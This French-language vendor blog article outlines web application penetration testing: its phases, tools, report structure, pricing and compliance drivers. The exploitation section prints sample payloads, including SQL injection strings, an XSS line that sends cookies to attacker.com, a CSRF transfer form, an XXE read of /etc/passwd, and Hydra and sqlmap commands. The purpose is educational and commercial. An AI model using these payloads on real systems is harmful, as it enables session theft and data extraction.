Pentest application web : méthodologie complète 2025
Guide complet du test d'intrusion pour applications web. Méthodologie, outils, phases et livrables pour entreprises françaises.
Shahil AppDev Team
Expert security
Pentest application web : méthodologie complète 2025
Un pentest (test d'intrusion) simule une cyberattaque réelle pour identifier les vulnérabilités avant qu'un attaquant ne les exploite. 85% des applications web présentent au moins une vulnérabilité critique avant pentest.
Voici la méthodologie complète d'un pentest professionnel.
Qu'est-ce qu'un pentest ?
Définition
Un pentest est un audit de sécurité offensif où un expert (pentester) tente de pirater votre application pour identifier les failles.
Objectif :
- Identifier vulnérabilités
- Évaluer risques réels
- Prouver exploitabilité
- Recommander corrections
Pentest vs Audit vs Scan
Scan automatique :
- Outils automatisés
- Rapide (heures)
- Détection basique
- Faux positifs nombreux
Audit de sécurité :
- Analyse code + config
- Manuel + automatique
- Pas d'exploitation
- Théorique
Pentest :
- Simulation attaque réelle
- 100% manuel
- Exploitation vulnérabilités
- Preuve de concept
Pentest = Audit + Exploitation
Types de pentest
Black box (boîte noire) :
- Aucune information fournie
- Simule attaquant externe
- Plus long et coûteux
Grey box (boîte grise) :
- Informations partielles (URLs, comptes)
- Compromis réalisme/efficacité
- Recommandé
White box (boîte blanche) :
- Accès complet (code, architecture)
- Audit approfondi
- Moins réaliste
Méthodologie pentest (7 phases)
Phase 1 : Cadrage (1 semaine)
Objectifs :
- Définir périmètre
- Identifier objectifs
- Planifier tests
Livrables :
- Contrat de pentest
- Règles d'engagement
- Planning
Périmètre typique :
URLs :
- https://example.com
- https://app.example.com
- https://admin.example.com
Exclusions :
- Environnement production (si sensible)
- APIs tierces
- DDoS
Comptes fournis :
- Utilisateur standard
- Utilisateur premium
- Admin (si white box)
Phase 2 : Reconnaissance (2-3 jours)
Objectif : Collecter informations
Actions :
1. OSINT (Open Source Intelligence)
# Whois
whois example.com
# DNS
dig example.com ANY
nslookup example.com
# Sous-domaines
sublist3r -d example.com
amass enum -d example.com
2. Technologies
- Wappalyzer
- BuiltWith
- WhatWeb
Identifier :
- CMS, frameworks
- Serveur web
- Langages
- Versions
3. Cartographie
- Sitemap.xml
- robots.txt
- Crawl complet (Burp Spider)
Livrables :
- Carte application
- Technologies identifiées
- Surface d'attaque
Phase 3 : Scan de vulnérabilités (2-3 jours)
Outils automatisés :
1. OWASP ZAP
zap-cli quick-scan https://example.com
2. Nikto
nikto -h https://example.com
3. Nmap
nmap -sV -sC example.com
4. WPScan (WordPress)
wpscan --url https://example.com --enumerate vp,vt,u
Livrables :
- Liste vulnérabilités potentielles
- Priorisation
- Faux positifs éliminés
Phase 4 : Exploitation manuelle (5-10 jours)
OWASP Top 10 :
1. Injection SQL
# Test basique
' OR '1'='1
' UNION SELECT NULL--
# Extraction données
' UNION SELECT username, password FROM users--
2. XSS (Cross-Site Scripting)
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
3. CSRF (Cross-Site Request Forgery)
<form action="https://example.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. Broken Authentication
- Brute force login
- Session fixation
- Token prévisible
5. Sensitive Data Exposure
- Données en clair
- HTTPS manquant
- Cookies non sécurisés
6. Broken Access Control
# IDOR (Insecure Direct Object Reference)
/user/123/profile → /user/124/profile
/api/orders/456 → /api/orders/457
# Élévation privilèges
Modifier paramètre role=user → role=admin
7. Security Misconfiguration
- Erreurs détaillées
- Comptes par défaut
- Headers manquants
8. XXE (XML External Entities)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
9. Insecure Deserialization
- Manipulation objets sérialisés
10. Using Components with Known Vulnerabilities
- CVE connus
- Versions obsolètes
Livrables :
- Vulnérabilités confirmées
- Preuves de concept
- Captures d'écran
- Impact évalué
Phase 5 : Post-exploitation (2-3 jours)
Objectif : Mesurer impact réel
Actions :
1. Élévation de privilèges
- User → Admin
- Admin → Root
2. Mouvement latéral
- Accès autres systèmes
- Pivot
3. Exfiltration données
- Extraction base de données
- Téléchargement fichiers
4. Persistance
- Backdoor
- Comptes cachés
Livrables :
- Scénarios d'attaque complets
- Impact business évalué
Phase 6 : Rapport (3-5 jours)
Structure rapport :
1. Executive Summary
- Niveau de risque global
- Vulnérabilités critiques (nombre)
- Recommandations prioritaires
- Synthèse pour direction
2. Méthodologie
- Périmètre
- Outils
- Dates
- Limitations
3. Résultats détaillés
Par vulnérabilité :
Titre : Injection SQL sur formulaire login
Sévérité : Critique
CVSS : 9.8
Description :
Le formulaire de connexion est vulnérable à l'injection SQL permettant de bypasser l'authentification.
Preuve de concept :
Username : admin' OR '1'='1'--
Password : [vide]
→ Connexion réussie sans mot de passe
Impact :
- Accès non autorisé comptes utilisateurs
- Extraction base de données complète
- Modification/suppression données
Recommandation :
Utiliser des requêtes préparées (prepared statements) :
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
Références :
- OWASP A03:2021 - Injection
- CWE-89
4. Annexes
- Captures d'écran
- Logs
- Scripts
Livrables :
- Rapport PDF (50-150 pages)
- Présentation PowerPoint
- Fichiers preuves
Phase 7 : Restitution et retest (1 semaine)
Restitution :
- Présentation résultats
- Démonstration exploits
- Priorisation corrections
- Plan d'action
Retest (après corrections) :
- Vérification fixes
- Validation corrections
- Rapport final
Outils du pentester
Reconnaissance
Nmap
- Scan réseau
- Détection services
Sublist3r, Amass
- Énumération sous-domaines
theHarvester
- OSINT (emails, noms)
Proxy intercepteur
Burp Suite Pro
- Interception requêtes
- Manipulation
- Scanner intégré
- Prix : 449 €/an
OWASP ZAP
- Gratuit
- Open-source
- Moins complet que Burp
Exploitation
SQLmap
- Injection SQL automatique
sqlmap -u "http://example.com/page?id=1" --dbs
XSStrike
- Détection XSS avancée
Metasploit
- Framework exploitation
- Modules nombreux
Brute force
Hydra
hydra -l admin -P passwords.txt http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
John the Ripper
- Cracking mots de passe
Reporting
Dradis
- Collaboration équipe
- Génération rapports
Faraday
- Gestion vulnérabilités
Sévérité et priorisation
Classification CVSS
Critique (9.0-10.0) :
- Injection SQL
- RCE (Remote Code Execution)
- Accès admin sans auth
Haute (7.0-8.9) :
- XSS stored
- CSRF sur actions sensibles
- Broken authentication
Moyenne (4.0-6.9) :
- XSS reflected
- Information disclosure
- Clickjacking
Faible (0.1-3.9) :
- Headers manquants
- Versions exposées
Priorisation corrections
1. Critiques (< 7 jours) 2. Hautes (< 30 jours) 3. Moyennes (< 90 jours) 4. Faibles (< 180 jours)
Budget pentest
Tarifs marché France
Pentest basique (1-3 jours) :
- Périmètre : 1-2 URLs
- Tests : OWASP Top 10
- Prix : 3 000-8 000 €
Pentest standard (5-10 jours) :
- Périmètre : Application complète
- Tests : Exhaustifs
- Prix : 8 000-20 000 €
Pentest approfondi (10-20 jours) :
- Périmètre : Application + APIs + Mobile
- Tests : Exhaustifs + post-exploitation
- Prix : 20 000-50 000 €
Retest (1-2 jours) :
- Vérification corrections
- Prix : 1 500-4 000 €
Facteurs de prix
Complexité :
- Application simple : x1
- Application moyenne : x1.5
- Application complexe : x2
Périmètre :
- URLs supplémentaires : +500-2 000 €/URL
- APIs : +2 000-5 000 €
- Mobile : +5 000-15 000 €
Urgence :
- Standard : x1
- Urgent (< 2 semaines) : x1.3
ROI pentest
Investissement : 8 000-20 000 €
Coût piratage :
- Fuite données : 50 000-200 000 €
- Amende RGPD : jusqu'à 20 M€
- Réputation : Inestimable
ROI : Infini (évite piratage)
Conformité
PCI-DSS (e-commerce) :
- Pentest annuel obligatoire
- Après modifications majeures
RGPD :
- Tests réguliers recommandés
- Preuve mesures sécurité
ISO 27001 :
- Tests d'intrusion requis
Checklist pentest
✅ Avant
- Périmètre défini
- Contrat signé
- Environnements préparés
- Équipe informée
✅ Pendant
- Communication régulière
- Alertes vulnérabilités critiques
- Logs sauvegardés
✅ Après
- Rapport reçu
- Présentation assistée
- Plan de remédiation
- Retest planifié
Conclusion
Un pentest professionnel est indispensable pour toute application web manipulant des données sensibles ou critiques pour le business.
Fréquence recommandée :
- Nouveau projet : Avant mise en production
- Application existante : Annuel
- Après modification majeure : Systématique
Budget réaliste : 8 000-20 000 € (pentest standard)
Délai : 3-4 semaines (tests + rapport)
ROI : Évite piratage 50 000-200 000 €
Notre recommandation : Pentest annuel minimum. Retest après corrections. Scan automatique mensuel entre pentests.
Besoin d'un pentest ? Nous réalisons des tests d'intrusion complets pour applications web et mobiles. Méthodologie OWASP, rapport détaillé, retest inclus. Contactez-nous pour un devis.
Besoin d'accompagnement ?
Notre équipe d'experts est là pour vous aider à concrétiser vos projets digitaux.